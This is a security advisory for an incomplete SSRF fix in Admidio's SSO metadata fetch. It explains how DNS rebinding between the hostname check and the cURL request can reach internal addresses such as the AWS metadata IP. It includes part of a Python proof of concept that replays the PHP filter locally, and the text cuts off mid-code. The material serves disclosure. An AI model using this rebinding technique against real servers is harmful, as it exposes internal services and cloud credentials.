GitHub Security Advisory: GHSA-hcjj-chvw-fmw9
Package: admidio/admidio (COMPOSER)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 5.0.8
Patched in: 5.0.9

Summary: Admidio has an incomplete fix for CVE-2026-32812 (SSRF)

Details:
### Summary

The incomplete SSRF fix in Admidio's `fetch_metadata.php` validates the resolved IP address but passes the original hostname-based URL to `curl_init()`, leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.

### Affected Package

- **Ecosystem:** Other
- **Package:** admidio
- **Affected versions:** < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a
- **Patched versions:** >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a

### Severity

Medium

### CWE

CWE-918 — Server-Side Request Forgery (SSRF)

### Details

In `modules/sso/fetch_metadata.php` (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs `filter_var($rawUrl, FILTER_VALIDATE_URL)` (line 27), resolves the hostname via `gethostbyname()` and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to `curl_init($url)` at line 41.

The fundamental problem is at step 4: cURL resolves the hostname again independently. Between `gethostbyname()` at step 3 and `curl_exec()` at step 4, a DNS rebinding attack can cause the hostname to resolve to `169.254.169.254` (AWS metadata), `127.0.0.1`, or any other internal address. No `CURLOPT_RESOLVE` is set to pin the hostname to the validated IP.

The TOCTOU window between `gethostbyname()` and `curl_exec()` is the core issue, and the patch does not close it.

### PoC

```python
#!/usr/bin/env python3
"""
CVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php

Vulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()
and checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().
DNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.

Real vulnerable PHP code copied from:
  Admidio/admidio, modules/sso/fetch_metadata.php

This PoC runs the actual PHP validation logic via `php -r`.
"""

import subprocess
import sys
import os

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
VULN_PHP = os.path.join(SCRIPT_DIR, "fetch_metadata.php")


def run_php(code):
    return subprocess.run(["php", "-r", code], capture_output=True, text=True, timeout=15)


def main():
    if not os.path.exists(VULN_PHP):
        print(f"ERROR: Vulnerable PHP source not found at {VULN_PHP}")
        sys.exit(1)

    print(f"Source file: {VULN_PHP}")
    print("Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\n")

    php_code = r"""
    echo "=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\n\n";

    // Extracted from: modules/sso/fetch_metadata.php lines 21-49
    // Character-for-character copy of the validation logic:
    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {
        // Only allow https:// scheme (line 21)
        if (!preg_match('#^https://#i', $rawUrl)) {
            return ['blocked' => true, 'reason' => 'Not HTTPS'];
        }

        // Validate URL (line 27)
        $url = filter_var($rawUrl, FILTER